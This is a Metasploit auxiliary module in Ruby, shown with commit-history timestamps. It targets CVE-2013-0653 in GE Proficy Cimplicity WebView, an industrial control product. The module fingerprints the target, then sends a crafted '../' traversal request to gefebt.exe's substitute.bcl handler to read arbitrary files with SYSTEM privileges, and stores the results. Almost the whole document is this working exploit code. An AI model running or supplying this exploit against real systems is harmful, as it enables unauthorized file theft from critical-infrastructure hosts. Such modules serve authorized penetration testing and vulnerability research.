metasploit-framework/modules/auxiliary/admin/scada/ge_proficy_substitute_trave...

144 lines
3.8 KiB
Ruby
Raw Normal View History

2013-09-06 17:42:34 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2013-09-06 17:42:34 +00:00
##
require 'uri'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',
'Description' => %q{
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the
gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM
2013-09-06 17:58:54 +00:00
privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.
2013-09-06 17:42:34 +00:00
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0653' ],
2013-09-06 18:01:39 +00:00
[ 'OSVDB', '89490' ],
2013-09-06 17:42:34 +00:00
[ 'BID', '57505' ],
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]
],
'DisclosureDate' => 'Jan 22 2013'))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb
OptInt.new('DEPTH', [true, 'Traversal depth', 5])
], self.class)
end
def normalize_uri(*strs)
new_str = strs * "/"
new_str = new_str.gsub!("//", "/") while new_str.index("//")
# Makes sure there's a starting slash
unless new_str[0,1] == '/'
new_str = '/' + new_str
end
new_str
end
def target_uri
begin
# In case TARGETURI is empty, at least we default to '/'
u = datastore['TARGETURI']
u = "/" if u.nil? or u.empty?
URI(u)
rescue ::URI::InvalidURIError
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
raise Msf::OptionValidateError.new(['TARGETURI'])
end
end
def my_basename(filename)
return ::File.basename(filename.gsub(/\\/, "/"))
end
def is_proficy?
connect
req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n"
sock.put(req)
res = sock.get_once
disconnect
2013-09-09 01:26:20 +00:00
if res and res =~ /gefebt\.exe/
2013-09-06 17:42:34 +00:00
return true
else
return false
end
end
# We can't use the http client msf mixin because the Proficy Web server
# return a malformed HTTP response with the file contents, there aren't
# two new lines (but one) between the HTTP headers and the body content.
def read_file(file)
travs = ""
travs << "../" * datastore['DEPTH']
travs << file
print_status("#{@peer} - Retrieving file contents...")
connect
req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"
sock.put(req)
res = sock.get_once
disconnect
if res and res =~ /HTTP\/1\.0 200 OK/
return res
else
return nil
end
end
def run
@peer = "#{rhost}:#{rport}"
2013-09-06 21:09:38 +00:00
print_status("#{@peer} - Checking if it's a GE Proficy Application...")
2013-09-06 17:42:34 +00:00
if is_proficy?
2013-09-06 21:09:38 +00:00
print_good("#{@peer} - Check successful")
2013-09-06 17:42:34 +00:00
else
print_error("#{@peer} - GE proficy not found")
return
end
contents = read_file(datastore['FILEPATH'])
if contents.nil?
print_error("#{@peer} - File not downloaded")
return
end
file_name = my_basename(datastore['FILEPATH'])
path = store_loot(
2013-09-09 19:02:28 +00:00
'ge.proficy.traversal',
2013-09-06 17:42:34 +00:00
'application/octet-stream',
rhost,
contents,
file_name
)
print_good("#{rhost}:#{rport} - File saved in: #{path}")
end
end